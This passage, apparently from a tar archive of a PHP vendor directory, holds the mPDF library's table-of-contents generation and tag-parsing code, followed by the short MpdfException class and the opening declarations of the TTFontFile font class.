$copier = new DeepCopy(true); $tocClassClone = $copier->copy($this); $tocClassClone->beginTocPaint(); $tocClassClone->insertTOC(); $this->_toc = $tocClassClone->_toc; } $notocs = 0; if ($this->TOCmark) { $notocs = 1; } $notocs += count($this->m_TOC); if ($notocs == 0) { return; } if (count($this->m_TOC)) { reset($this->m_TOC); } $added_toc_pages = 0; if ($this->mpdf->ColActive) { $this->mpdf->SetColumns(0); } if (($this->mpdf->mirrorMargins) && (($this->mpdf->page) % 2 == 1)) { // ODD $this->mpdf->AddPage($this->mpdf->CurOrientation); $extrapage = true; } else { $extrapage = false; } for ($toci = 0; $toci < $notocs; $toci++) { if ($toci == 0 && $this->TOCmark) { $toc_id = 0; $toc_page = $this->TOCmark; $tocoutdent = $this->TOCoutdent; $toc_orientation = $this->TOCorientation; $TOCuseLinking = $this->TOCuseLinking; $TOCusePaging = $this->TOCusePaging; $toc_preHTML = $this->TOCpreHTML; $toc_postHTML = $this->TOCpostHTML; $toc_bookmarkText = $this->TOCbookmarkText; $toc_mgl = $this->TOC_margin_left; $toc_mgr = $this->TOC_margin_right; $toc_mgt = $this->TOC_margin_top; $toc_mgb = $this->TOC_margin_bottom; $toc_mgh = $this->TOC_margin_header; $toc_mgf = $this->TOC_margin_footer; $toc_ohname = $this->TOC_odd_header_name; $toc_ehname = $this->TOC_even_header_name; $toc_ofname = $this->TOC_odd_footer_name; $toc_efname = $this->TOC_even_footer_name; $toc_ohvalue = $this->TOC_odd_header_value; $toc_ehvalue = $this->TOC_even_header_value; $toc_ofvalue = $this->TOC_odd_footer_value; $toc_efvalue = $this->TOC_even_footer_value; $toc_page_selector = $this->TOC_page_selector; $toc_resetpagenum = $this->TOC_resetpagenum; // mPDF 6 $toc_pagenumstyle = $this->TOC_pagenumstyle; // mPDF 6 $toc_suppress = $this->TOC_suppress; // mPDF 6 $toc_sheet_size = (isset($this->TOCsheetsize) ? $this->TOCsheetsize : ''); } else { $arr = current($this->m_TOC); $toc_id = key($this->m_TOC); $toc_page = $this->m_TOC[$toc_id]['TOCmark']; $tocoutdent = $this->m_TOC[$toc_id]['TOCoutdent']; $toc_orientation = $this->m_TOC[$toc_id]['TOCorientation']; $TOCuseLinking = $this->m_TOC[$toc_id]['TOCuseLinking']; $TOCusePaging = $this->m_TOC[$toc_id]['TOCusePaging']; if (isset($this->m_TOC[$toc_id]['TOCpreHTML'])) { $toc_preHTML = $this->m_TOC[$toc_id]['TOCpreHTML']; } else { $toc_preHTML = ''; } if (isset($this->m_TOC[$toc_id]['TOCpostHTML'])) { $toc_postHTML = $this->m_TOC[$toc_id]['TOCpostHTML']; } else { $toc_postHTML = ''; } if (isset($this->m_TOC[$toc_id]['TOCbookmarkText'])) { $toc_bookmarkText = $this->m_TOC[$toc_id]['TOCbookmarkText']; } else { $toc_bookmarkText = ''; } // *BOOKMARKS* $toc_mgl = $this->m_TOC[$toc_id]['TOC_margin_left']; $toc_mgr = $this->m_TOC[$toc_id]['TOC_margin_right']; $toc_mgt = $this->m_TOC[$toc_id]['TOC_margin_top']; $toc_mgb = $this->m_TOC[$toc_id]['TOC_margin_bottom']; $toc_mgh = $this->m_TOC[$toc_id]['TOC_margin_header']; $toc_mgf = $this->m_TOC[$toc_id]['TOC_margin_footer']; $toc_ohname = $this->m_TOC[$toc_id]['TOC_odd_header_name']; $toc_ehname = $this->m_TOC[$toc_id]['TOC_even_header_name']; $toc_ofname = $this->m_TOC[$toc_id]['TOC_odd_footer_name']; $toc_efname = $this->m_TOC[$toc_id]['TOC_even_footer_name']; $toc_ohvalue = $this->m_TOC[$toc_id]['TOC_odd_header_value']; $toc_ehvalue = $this->m_TOC[$toc_id]['TOC_even_header_value']; $toc_ofvalue = $this->m_TOC[$toc_id]['TOC_odd_footer_value']; $toc_efvalue = $this->m_TOC[$toc_id]['TOC_even_footer_value']; $toc_page_selector = $this->m_TOC[$toc_id]['TOC_page_selector']; $toc_resetpagenum = $this->m_TOC[$toc_id]['TOC_resetpagenum']; // mPDF 6 $toc_pagenumstyle = $this->m_TOC[$toc_id]['TOC_pagenumstyle']; // mPDF 6 $toc_suppress = $this->m_TOC[$toc_id]['TOC_suppress']; // mPDF 6 $toc_sheet_size = (isset($this->m_TOC[$toc_id]['TOCsheetsize']) ? $this->m_TOC[$toc_id]['TOCsheetsize'] : ''); next($this->m_TOC); } // mPDF 5.6.31 if (!$toc_orientation) { $toc_orientation = $this->mpdf->DefOrientation; } // mPDF 6 number style and suppress now picked up from section preceding ToC list($tp_pagenumstyle, $tp_suppress, $tp_reset) = $this->mpdf->docPageSettings($toc_page - 1); if ($toc_resetpagenum) { $tp_reset = $toc_resetpagenum; // mPDF 6 } if ($toc_pagenumstyle) { $tp_pagenumstyle = $toc_pagenumstyle; // mPDF 6 } if ($toc_suppress || $toc_suppress === '0') { $tp_suppress = $toc_suppress; // mPDF 6 } $this->mpdf->AddPage($toc_orientation, '', $tp_reset, $tp_pagenumstyle, $tp_suppress, $toc_mgl, $toc_mgr, $toc_mgt, $toc_mgb, $toc_mgh, $toc_mgf, $toc_ohname, $toc_ehname, $toc_ofname, $toc_efname, $toc_ohvalue, $toc_ehvalue, $toc_ofvalue, $toc_efvalue, $toc_page_selector, $toc_sheet_size); // mPDF 6 $this->mpdf->writingToC = true; // mPDF 5.6.38 /* * Ensure the TOC Page Number Style doesn't effect the TOC Numbering (added automatically in `AddPage()` above) * Ensure the page numbers show in the TOC when the 'suppress' setting is enabled * @see https://github.com/mpdf/mpdf/issues/792 * @see https://github.com/mpdf/mpdf/issues/777 */ if (isset($tocClassClone)) { $this->mpdf->PageNumSubstitutions = array_map(function ($sub) { $sub['suppress'] = ''; return $sub; }, $tocClassClone->mpdf->PageNumSubstitutions); } // mPDF 5.6.31 $tocstart = count($this->mpdf->pages); if (isset($toc_preHTML) && $toc_preHTML) { $this->mpdf->WriteHTML($toc_preHTML); } // mPDF 5.6.19 $html = '<div class="mpdf_toc" id="mpdf_toc_' . $toc_id . '">'; foreach ($this->_toc as $t) { if ($t['toc_id'] === '_mpdf_all' || $t['toc_id'] === $toc_id) { $html .= '<div class="mpdf_toc_level_' . $t['l'] . '">'; if ($TOCuseLinking) { $html .= '<a class="mpdf_toc_a" href="#__mpdfinternallink_' . $t['link'] . '">'; } $html .= '<span class="mpdf_toc_t_level_' . $t['l'] . '">' . $t['t'] . '</span>'; if ($TOCuseLinking) { $html .= '</a>'; } if (!$tocoutdent) { $tocoutdent = '0'; } if ($TOCusePaging) { $html .= ' <dottab outdent="' . $tocoutdent . '" /> '; if ($TOCuseLinking) { $html .= '<a class="mpdf_toc_a" href="#__mpdfinternallink_' . $t['link'] . '">'; } $html .= '<span class="mpdf_toc_p_level_' . $t['l'] . '">' . $this->mpdf->docPageNum($t['p']) . '</span>'; if ($TOCuseLinking) { $html .= '</a>'; } } $html .= '</div>'; } } $html .= '</div>'; $this->mpdf->WriteHTML($html); if (isset($toc_postHTML) && $toc_postHTML) { $this->mpdf->WriteHTML($toc_postHTML); } $this->mpdf->writingToC = false; // mPDF 5.6.38 $this->mpdf->AddPage($toc_orientation, 'E'); $n_toc = $this->mpdf->page - $tocstart + 1; if ($toci == 0 && $this->TOCmark) { $TOC_start = $tocstart; $TOC_end = $this->mpdf->page; $TOC_npages = $n_toc; } else { $this->m_TOC[$toc_id]['start'] = $tocstart; $this->m_TOC[$toc_id]['end'] = $this->mpdf->page; $this->m_TOC[$toc_id]['npages'] = $n_toc; } } $s = ''; $s .= $this->mpdf->PrintBodyBackgrounds(); $s .= $this->mpdf->PrintPageBackgrounds(); $this->mpdf->pages[$this->mpdf->page] = preg_replace('/(___BACKGROUND___PATTERNS' . $this->mpdf->uniqstr . ')/', "\n" . $s . "\n" . '\\1', $this->mpdf->pages[$this->mpdf->page]); $this->mpdf->pageBackgrounds = []; //Page footer $this->mpdf->InFooter = true; $this->mpdf->Footer(); $this->mpdf->InFooter = false; // 2nd time through to move pages etc. $added_toc_pages = 0; if (count($this->m_TOC)) { reset($this->m_TOC); } for ($toci = 0; $toci < $notocs; $toci++) { if ($toci == 0 && $this->TOCmark) { $toc_id = 0; $toc_page = $this->TOCmark + $added_toc_pages; $toc_orientation = $this->TOCorientation; $TOCuseLinking = $this->TOCuseLinking; $TOCusePaging = $this->TOCusePaging; $toc_bookmarkText = $this->TOCbookmarkText; // *BOOKMARKS* $tocstart = $TOC_start; $tocend = $n = $TOC_end; $n_toc = $TOC_npages; } else { $arr = current($this->m_TOC); $toc_id = key($this->m_TOC); $toc_page = $this->m_TOC[$toc_id]['TOCmark'] + $added_toc_pages; $toc_orientation = $this->m_TOC[$toc_id]['TOCorientation']; $TOCuseLinking = $this->m_TOC[$toc_id]['TOCuseLinking']; $TOCusePaging = $this->m_TOC[$toc_id]['TOCusePaging']; $toc_bookmarkText = Arrays::get($this->m_TOC[$toc_id], 'TOCbookmarkText', null); // *BOOKMARKS* $tocstart = $this->m_TOC[$toc_id]['start']; $tocend = $n = $this->m_TOC[$toc_id]['end']; $n_toc = $this->m_TOC[$toc_id]['npages']; next($this->m_TOC); } // Now pages moved $added_toc_pages += $n_toc; $this->mpdf->MovePages($toc_page, $tocstart, $tocend); $this->mpdf->pgsIns[$toc_page] = $tocend - $tocstart + 1; /* -- BOOKMARKS -- */ // Insert new Bookmark for Bookmark if ($toc_bookmarkText) { $insert = -1; foreach ($this->mpdf->BMoutlines as $i => $o) { if ($o['p'] < $toc_page) { // i.e. before point of insertion $insert = $i; } } $txt = $this->mpdf->purify_utf8_text($toc_bookmarkText); if ($this->mpdf->text_input_as_HTML) { $txt = $this->mpdf->all_entities_to_utf8($txt); } $newBookmark[0] = ['t' => $txt, 'l' => 0, 'y' => 0, 'p' => $toc_page]; array_splice($this->mpdf->BMoutlines, ($insert + 1), 0, $newBookmark); } /* -- END BOOKMARKS -- */ } // Delete empty page that was inserted earlier if ($extrapage) { unset($this->mpdf->pages[count($this->mpdf->pages)]); $this->mpdf->page--; // Reset page pointer } /* Fix the over adjustment of the TOC and Page Substitutions values */ if (isset($tocClassClone)) { $this->_toc = $tocClassClone->_toc; $this->mpdf->PageNumSubstitutions = $tocClassClone->mpdf->PageNumSubstitutions; unset($tocClassClone); } } public function openTagTOC($attr) { if (isset($attr['OUTDENT']) && $attr['OUTDENT']) { $tocoutdent = $attr['OUTDENT']; } else { $tocoutdent = ''; } // mPDF 5.6.19 if (isset($attr['RESETPAGENUM']) && $attr['RESETPAGENUM']) { $resetpagenum = $attr['RESETPAGENUM']; } else { $resetpagenum = ''; } if (isset($attr['PAGENUMSTYLE']) && $attr['PAGENUMSTYLE']) { $pagenumstyle = $attr['PAGENUMSTYLE']; } else { $pagenumstyle = ''; } if (isset($attr['SUPPRESS']) && $attr['SUPPRESS']) { $suppress = $attr['SUPPRESS']; } else { $suppress = ''; } if (isset($attr['TOC-ORIENTATION']) && $attr['TOC-ORIENTATION']) { $toc_orientation = $attr['TOC-ORIENTATION']; } else { $toc_orientation = ''; } if (isset($attr['PAGING']) && (strtoupper($attr['PAGING']) == 'OFF' || $attr['PAGING'] === '0')) { $paging = false; } else { $paging = true; } if (isset($attr['LINKS']) && (strtoupper($attr['LINKS']) == 'ON' || $attr['LINKS'] == 1)) { $links = true; } else { $links = false; } if (isset($attr['NAME']) && $attr['NAME']) { $toc_id = strtolower($attr['NAME']); } else { $toc_id = 0; } $this->TOC('', 0, 0, $resetpagenum, $pagenumstyle, $suppress, $toc_orientation, $paging, $links, $toc_id, $tocoutdent); // mPDF 5.6.19 5.6.31 } public function openTagTOCPAGEBREAK($attr) { if (isset($attr['NAME']) && $attr['NAME']) { $toc_id = strtolower($attr['NAME']); } else { $toc_id = 0; } if ($toc_id) { if (isset($attr['OUTDENT']) && $attr['OUTDENT']) { $this->m_TOC[$toc_id]['TOCoutdent'] = $attr['OUTDENT']; } else { $this->m_TOC[$toc_id]['TOCoutdent'] = ''; } // mPDF 5.6.19 if (isset($attr['TOC-ORIENTATION']) && $attr['TOC-ORIENTATION']) { $this->m_TOC[$toc_id]['TOCorientation'] = $attr['TOC-ORIENTATION']; } else { $this->m_TOC[$toc_id]['TOCorientation'] = ''; } if (isset($attr['PAGING']) && (strtoupper($attr['PAGING']) == 'OFF' || $attr['PAGING'] === '0')) { $this->m_TOC[$toc_id]['TOCusePaging'] = false; } else { $this->m_TOC[$toc_id]['TOCusePaging'] = true; } if (isset($attr['LINKS']) && (strtoupper($attr['LINKS']) == 'ON' || $attr['LINKS'] == 1)) { $this->m_TOC[$toc_id]['TOCuseLinking'] = true; } else { $this->m_TOC[$toc_id]['TOCuseLinking'] = false; } $this->m_TOC[$toc_id]['TOC_margin_left'] = $this->m_TOC[$toc_id]['TOC_margin_right'] = $this->m_TOC[$toc_id]['TOC_margin_top'] = $this->m_TOC[$toc_id]['TOC_margin_bottom'] = $this->m_TOC[$toc_id]['TOC_margin_header'] = $this->m_TOC[$toc_id]['TOC_margin_footer'] = ''; if (isset($attr['TOC-MARGIN-RIGHT'])) { $this->m_TOC[$toc_id]['TOC_margin_right'] = $this->sizeConverter->convert($attr['TOC-MARGIN-RIGHT'], $this->mpdf->w, $this->mpdf->FontSize, false); } if (isset($attr['TOC-MARGIN-LEFT'])) { $this->m_TOC[$toc_id]['TOC_margin_left'] = $this->sizeConverter->convert($attr['TOC-MARGIN-LEFT'], $this->mpdf->w, $this->mpdf->FontSize, false); } if (isset($attr['TOC-MARGIN-TOP'])) { $this->m_TOC[$toc_id]['TOC_margin_top'] = $this->sizeConverter->convert($attr['TOC-MARGIN-TOP'], $this->mpdf->w, $this->mpdf->FontSize, false); } if (isset($attr['TOC-MARGIN-BOTTOM'])) { $this->m_TOC[$toc_id]['TOC_margin_bottom'] = $this->sizeConverter->convert($attr['TOC-MARGIN-BOTTOM'], $this->mpdf->w, $this->mpdf->FontSize, false); } if (isset($attr['TOC-MARGIN-HEADER'])) { $this->m_TOC[$toc_id]['TOC_margin_header'] = $this->sizeConverter->convert($attr['TOC-MARGIN-HEADER'], $this->mpdf->w, $this->mpdf->FontSize, false); } if (isset($attr['TOC-MARGIN-FOOTER'])) { $this->m_TOC[$toc_id]['TOC_margin_footer'] = $this->sizeConverter->convert($attr['TOC-MARGIN-FOOTER'], $this->mpdf->w, $this->mpdf->FontSize, false); } $this->m_TOC[$toc_id]['TOC_odd_header_name'] = $this->m_TOC[$toc_id]['TOC_even_header_name'] = $this->m_TOC[$toc_id]['TOC_odd_footer_name'] = $this->m_TOC[$toc_id]['TOC_even_footer_name'] = ''; if (isset($attr['TOC-ODD-HEADER-NAME']) && $attr['TOC-ODD-HEADER-NAME']) { $this->m_TOC[$toc_id]['TOC_odd_header_name'] = $attr['TOC-ODD-HEADER-NAME']; } if (isset($attr['TOC-EVEN-HEADER-NAME']) && $attr['TOC-EVEN-HEADER-NAME']) { $this->m_TOC[$toc_id]['TOC_even_header_name'] = $attr['TOC-EVEN-HEADER-NAME']; } if (isset($attr['TOC-ODD-FOOTER-NAME']) && $attr['TOC-ODD-FOOTER-NAME']) { $this->m_TOC[$toc_id]['TOC_odd_footer_name'] = $attr['TOC-ODD-FOOTER-NAME']; } if (isset($attr['TOC-EVEN-FOOTER-NAME']) && $attr['TOC-EVEN-FOOTER-NAME']) { $this->m_TOC[$toc_id]['TOC_even_footer_name'] = $attr['TOC-EVEN-FOOTER-NAME']; } $this->m_TOC[$toc_id]['TOC_odd_header_value'] = $this->m_TOC[$toc_id]['TOC_even_header_value'] = $this->m_TOC[$toc_id]['TOC_odd_footer_value'] = $this->m_TOC[$toc_id]['TOC_even_footer_value'] = 0; if (isset($attr['TOC-ODD-HEADER-VALUE']) && ($attr['TOC-ODD-HEADER-VALUE'] == '1' || strtoupper($attr['TOC-ODD-HEADER-VALUE']) == 'ON')) { $this->m_TOC[$toc_id]['TOC_odd_header_value'] = 1; } elseif (isset($attr['TOC-ODD-HEADER-VALUE']) && ($attr['TOC-ODD-HEADER-VALUE'] == '-1' || strtoupper($attr['TOC-ODD-HEADER-VALUE']) == 'OFF')) { $this->m_TOC[$toc_id]['TOC_odd_header_value'] = -1; } if (isset($attr['TOC-EVEN-HEADER-VALUE']) && ($attr['TOC-EVEN-HEADER-VALUE'] == '1' || strtoupper($attr['TOC-EVEN-HEADER-VALUE']) == 'ON')) { $this->m_TOC[$toc_id]['TOC_even_header_value'] = 1; } elseif (isset($attr['TOC-EVEN-HEADER-VALUE']) && ($attr['TOC-EVEN-HEADER-VALUE'] == '-1' || strtoupper($attr['TOC-EVEN-HEADER-VALUE']) == 'OFF')) { $this->m_TOC[$toc_id]['TOC_even_header_value'] = -1; } if (isset($attr['TOC-ODD-FOOTER-VALUE']) && ($attr['TOC-ODD-FOOTER-VALUE'] == '1' || strtoupper($attr['TOC-ODD-FOOTER-VALUE']) == 'ON')) { $this->m_TOC[$toc_id]['TOC_odd_footer_value'] = 1; } elseif (isset($attr['TOC-ODD-FOOTER-VALUE']) && ($attr['TOC-ODD-FOOTER-VALUE'] == '-1' || strtoupper($attr['TOC-ODD-FOOTER-VALUE']) == 'OFF')) { $this->m_TOC[$toc_id]['TOC_odd_footer_value'] = -1; } if (isset($attr['TOC-EVEN-FOOTER-VALUE']) && ($attr['TOC-EVEN-FOOTER-VALUE'] == '1' || strtoupper($attr['TOC-EVEN-FOOTER-VALUE']) == 'ON')) { $this->m_TOC[$toc_id]['TOC_even_footer_value'] = 1; } elseif (isset($attr['TOC-EVEN-FOOTER-VALUE']) && ($attr['TOC-EVEN-FOOTER-VALUE'] == '-1' || strtoupper($attr['TOC-EVEN-FOOTER-VALUE']) == 'OFF')) { $this->m_TOC[$toc_id]['TOC_even_footer_value'] = -1; } if (isset($attr['TOC-RESETPAGENUM']) && $attr['TOC-RESETPAGENUM']) { $this->m_TOC[$toc_id]['TOC_resetpagenum'] = $attr['TOC-RESETPAGENUM']; } else { $this->m_TOC[$toc_id]['TOC_resetpagenum'] = ''; } // mPDF 6 if (isset($attr['TOC-PAGENUMSTYLE']) && $attr['TOC-PAGENUMSTYLE']) { $this->m_TOC[$toc_id]['TOC_pagenumstyle'] = $attr['TOC-PAGENUMSTYLE']; } else { $this->m_TOC[$toc_id]['TOC_pagenumstyle'] = ''; } // mPDF 6 if (isset($attr['TOC-SUPPRESS']) && ($attr['TOC-SUPPRESS'] || $attr['TOC-SUPPRESS'] === '0')) { $this->m_TOC[$toc_id]['TOC_suppress'] = $attr['TOC-SUPPRESS']; } else { $this->m_TOC[$toc_id]['TOC_suppress'] = ''; } // mPDF 6 if (isset($attr['TOC-PAGE-SELECTOR']) && $attr['TOC-PAGE-SELECTOR']) { $this->m_TOC[$toc_id]['TOC_page_selector'] = $attr['TOC-PAGE-SELECTOR']; } else { $this->m_TOC[$toc_id]['TOC_page_selector'] = ''; } if (isset($attr['TOC-SHEET-SIZE']) && $attr['TOC-SHEET-SIZE']) { $this->m_TOC[$toc_id]['TOCsheetsize'] = $attr['TOC-SHEET-SIZE']; } else { $this->m_TOC[$toc_id]['TOCsheetsize'] = ''; } if (isset($attr['TOC-PREHTML']) && $attr['TOC-PREHTML']) { $this->m_TOC[$toc_id]['TOCpreHTML'] = htmlspecialchars_decode($attr['TOC-PREHTML'], ENT_QUOTES); } if (isset($attr['TOC-POSTHTML']) && $attr['TOC-POSTHTML']) { $this->m_TOC[$toc_id]['TOCpostHTML'] = htmlspecialchars_decode($attr['TOC-POSTHTML'], ENT_QUOTES); } if (isset($attr['TOC-BOOKMARKTEXT']) && $attr['TOC-BOOKMARKTEXT']) { $this->m_TOC[$toc_id]['TOCbookmarkText'] = htmlspecialchars_decode($attr['TOC-BOOKMARKTEXT'], ENT_QUOTES); } // *BOOKMARKS* } else { if (isset($attr['OUTDENT']) && $attr['OUTDENT']) { $this->TOCoutdent = $attr['OUTDENT']; } else { $this->TOCoutdent = ''; } // mPDF 5.6.19 if (isset($attr['TOC-ORIENTATION']) && $attr['TOC-ORIENTATION']) { $this->TOCorientation = $attr['TOC-ORIENTATION']; } else { $this->TOCorientation = ''; } if (isset($attr['PAGING']) && (strtoupper($attr['PAGING']) == 'OFF' || $attr['PAGING'] === '0')) { $this->TOCusePaging = false; } else { $this->TOCusePaging = true; } if (isset($attr['LINKS']) && (strtoupper($attr['LINKS']) == 'ON' || $attr['LINKS'] == 1)) { $this->TOCuseLinking = true; } else { $this->TOCuseLinking = false; } $this->TOC_margin_left = $this->TOC_margin_right = $this->TOC_margin_top = $this->TOC_margin_bottom = $this->TOC_margin_header = $this->TOC_margin_footer = ''; if (isset($attr['TOC-MARGIN-RIGHT'])) { $this->TOC_margin_right = $this->sizeConverter->convert($attr['TOC-MARGIN-RIGHT'], $this->mpdf->w, $this->mpdf->FontSize, false); } if (isset($attr['TOC-MARGIN-LEFT'])) { $this->TOC_margin_left = $this->sizeConverter->convert($attr['TOC-MARGIN-LEFT'], $this->mpdf->w, $this->mpdf->FontSize, false); } if (isset($attr['TOC-MARGIN-TOP'])) { $this->TOC_margin_top = $this->sizeConverter->convert($attr['TOC-MARGIN-TOP'], $this->mpdf->w, $this->mpdf->FontSize, false); } if (isset($attr['TOC-MARGIN-BOTTOM'])) { $this->TOC_margin_bottom = $this->sizeConverter->convert($attr['TOC-MARGIN-BOTTOM'], $this->mpdf->w, $this->mpdf->FontSize, false); } if (isset($attr['TOC-MARGIN-HEADER'])) { $this->TOC_margin_header = $this->sizeConverter->convert($attr['TOC-MARGIN-HEADER'], $this->mpdf->w, $this->mpdf->FontSize, false); } if (isset($attr['TOC-MARGIN-FOOTER'])) { $this->TOC_margin_footer = $this->sizeConverter->convert($attr['TOC-MARGIN-FOOTER'], $this->mpdf->w, $this->mpdf->FontSize, false); } $this->TOC_odd_header_name = $this->TOC_even_header_name = $this->TOC_odd_footer_name = $this->TOC_even_footer_name = ''; if (isset($attr['TOC-ODD-HEADER-NAME']) && $attr['TOC-ODD-HEADER-NAME']) { $this->TOC_odd_header_name = $attr['TOC-ODD-HEADER-NAME']; } if (isset($attr['TOC-EVEN-HEADER-NAME']) && $attr['TOC-EVEN-HEADER-NAME']) { $this->TOC_even_header_name = $attr['TOC-EVEN-HEADER-NAME']; } if (isset($attr['TOC-ODD-FOOTER-NAME']) && $attr['TOC-ODD-FOOTER-NAME']) { $this->TOC_odd_footer_name = $attr['TOC-ODD-FOOTER-NAME']; } if (isset($attr['TOC-EVEN-FOOTER-NAME']) && $attr['TOC-EVEN-FOOTER-NAME']) { $this->TOC_even_footer_name = $attr['TOC-EVEN-FOOTER-NAME']; } $this->TOC_odd_header_value = $this->TOC_even_header_value = $this->TOC_odd_footer_value = $this->TOC_even_footer_value = 0; if (isset($attr['TOC-ODD-HEADER-VALUE']) && ($attr['TOC-ODD-HEADER-VALUE'] == '1' || strtoupper($attr['TOC-ODD-HEADER-VALUE']) == 'ON')) { $this->TOC_odd_header_value = 1; } elseif (isset($attr['TOC-ODD-HEADER-VALUE']) && ($attr['TOC-ODD-HEADER-VALUE'] == '-1' || strtoupper($attr['TOC-ODD-HEADER-VALUE']) == 'OFF')) { $this->TOC_odd_header_value = -1; } if (isset($attr['TOC-EVEN-HEADER-VALUE']) && ($attr['TOC-EVEN-HEADER-VALUE'] == '1' || strtoupper($attr['TOC-EVEN-HEADER-VALUE']) == 'ON')) { $this->TOC_even_header_value = 1; } elseif (isset($attr['TOC-EVEN-HEADER-VALUE']) && ($attr['TOC-EVEN-HEADER-VALUE'] == '-1' || strtoupper($attr['TOC-EVEN-HEADER-VALUE']) == 'OFF')) { $this->TOC_even_header_value = -1; } if (isset($attr['TOC-ODD-FOOTER-VALUE']) && ($attr['TOC-ODD-FOOTER-VALUE'] == '1' || strtoupper($attr['TOC-ODD-FOOTER-VALUE']) == 'ON')) { $this->TOC_odd_footer_value = 1; } elseif (isset($attr['TOC-ODD-FOOTER-VALUE']) && ($attr['TOC-ODD-FOOTER-VALUE'] == '-1' || strtoupper($attr['TOC-ODD-FOOTER-VALUE']) == 'OFF')) { $this->TOC_odd_footer_value = -1; } if (isset($attr['TOC-EVEN-FOOTER-VALUE']) && ($attr['TOC-EVEN-FOOTER-VALUE'] == '1' || strtoupper($attr['TOC-EVEN-FOOTER-VALUE']) == 'ON')) { $this->TOC_even_footer_value = 1; } elseif (isset($attr['TOC-EVEN-FOOTER-VALUE']) && ($attr['TOC-EVEN-FOOTER-VALUE'] == '-1' || strtoupper($attr['TOC-EVEN-FOOTER-VALUE']) == 'OFF')) { $this->TOC_even_footer_value = -1; } if (isset($attr['TOC-PAGE-SELECTOR']) && $attr['TOC-PAGE-SELECTOR']) { $this->TOC_page_selector = $attr['TOC-PAGE-SELECTOR']; } else { $this->TOC_page_selector = ''; } if (isset($attr['TOC-RESETPAGENUM']) && $attr['TOC-RESETPAGENUM']) { $this->TOC_resetpagenum = $attr['TOC-RESETPAGENUM']; } else { $this->TOC_resetpagenum = ''; } // mPDF 6 if (isset($attr['TOC-PAGENUMSTYLE']) && $attr['TOC-PAGENUMSTYLE']) { $this->TOC_pagenumstyle = $attr['TOC-PAGENUMSTYLE']; } else { $this->TOC_pagenumstyle = ''; } // mPDF 6 if (isset($attr['TOC-SUPPRESS']) && ($attr['TOC-SUPPRESS'] || $attr['TOC-SUPPRESS'] === '0')) { $this->TOC_suppress = $attr['TOC-SUPPRESS']; } else { $this->TOC_suppress = ''; } // mPDF 6 if (isset($attr['TOC-SHEET-SIZE']) && $attr['TOC-SHEET-SIZE']) { $this->TOCsheetsize = $attr['TOC-SHEET-SIZE']; } else { $this->TOCsheetsize = ''; } if (isset($attr['TOC-PREHTML']) && $attr['TOC-PREHTML']) { $this->TOCpreHTML = htmlspecialchars_decode($attr['TOC-PREHTML'], ENT_QUOTES); } if (isset($attr['TOC-POSTHTML']) && $attr['TOC-POSTHTML']) { $this->TOCpostHTML = htmlspecialchars_decode($attr['TOC-POSTHTML'], ENT_QUOTES); } if (isset($attr['TOC-BOOKMARKTEXT']) && $attr['TOC-BOOKMARKTEXT']) { $this->TOCbookmarkText = htmlspecialchars_decode($attr['TOC-BOOKMARKTEXT'], ENT_QUOTES); } } if ($this->mpdf->y == $this->mpdf->tMargin && (!$this->mpdf->mirrorMargins || ($this->mpdf->mirrorMargins && $this->mpdf->page % 2 == 1))) { if ($toc_id) { $this->m_TOC[$toc_id]['TOCmark'] = $this->mpdf->page; } else { $this->TOCmark = $this->mpdf->page; } // Don't add a page if ($this->mpdf->page == 1 && count($this->mpdf->PageNumSubstitutions) == 0) { $resetpagenum = ''; $pagenumstyle = ''; $suppress = ''; if (isset($attr['RESETPAGENUM'])) { $resetpagenum = $attr['RESETPAGENUM']; } if (isset($attr['PAGENUMSTYLE'])) { $pagenumstyle = $attr['PAGENUMSTYLE']; } if (isset($attr['SUPPRESS'])) { $suppress = $attr['SUPPRESS']; } if (!$suppress) { $suppress = 'off'; } $this->mpdf->PageNumSubstitutions[] = ['from' => 1, 'reset' => $resetpagenum, 'type' => $pagenumstyle, 'suppress' => $suppress]; } return [true, $toc_id]; } // No break - continues as PAGEBREAK... return [false, $toc_id]; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/MpdfException.php��������������������������������������������������������������0000644�����������������00000000111�14760002214�0013747 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; class MpdfException extends \ErrorException { } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/TTFontFile.php�����������������������������������������������������������������0000644�����������������00000520131�14760002214�0013171 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; use Mpdf\Fonts\FontCache; use Mpdf\Fonts\GlyphOperator; // NOTE*** If you change the defined constants below, be sure to delete all temporary font data files in /ttfontdata/ // to force mPDF to regenerate cached font files. if (!defined('_OTL_OLD_SPEC_COMPAT_2')) { define('_OTL_OLD_SPEC_COMPAT_2', true); } // Define the value used in the "head" table of a created TTF file // 0x74727565 "true" for Mac // 0x00010000 for Windows // Either seems to work for a font embedded in a PDF file // when read by Adobe Reader on a Windows PC(!) if (!defined('_TTF_MAC_HEADER')) { define('_TTF_MAC_HEADER', false); } // Recalculate correct metadata/profiles when making subset fonts (not SIP/SMP) // e.g. xMin, xMax, maxNContours if (!defined('_RECALC_PROFILE')) { define('_RECALC_PROFILE', false); } // mPDF 5.7.1 if (!function_exists('\Mpdf\unicode_hex')) { function unicode_hex($unicode_dec) { return sprintf("%05s", strtoupper(dechex($unicode_dec))); } } /** * TTFontFile class * * This class is based on The ReportLab Open Source PDF library * written in Python - http://www.reportlab.com/software/opensource/ * together with ideas from the OpenOffice source code and others. * This header must be retained in any redistribution or * modification of the file. * * @author Ian Back <ianb@bpm1.com> * @license LGPL */ class TTFontFile { use Strict; private $fontCache; private $fontDescriptor; var $GPOSFeatures; var $GPOSLookups; var $GPOSScriptLang; var $MarkAttachmentType; var $MarkGlyphSets; var $GlyphClassMarks; var $GlyphClassLigatures; var $GlyphClassBases; var $GlyphClassComponents; var $GSUBScriptLang; var $rtlPUAstr; var $fontkey; var $useOTL; var $maxUni; var $sFamilyClass; var $sFamilySubClass; var $sipset; var $smpset; var $_pos; var $numTables; var $searchRange; var $entrySelector; var $rangeShift; var $tables; var $otables; var $filename; var $fh; var $glyphPos; var $charToGlyph; var $ascent; var $descent; var $lineGap; var $hheaascent; var $hheadescent; var $hhealineGap; var $advanceWidthMax; var $typoAscender; var $typoDescender; var $typoLineGap; var $usWinAscent; var 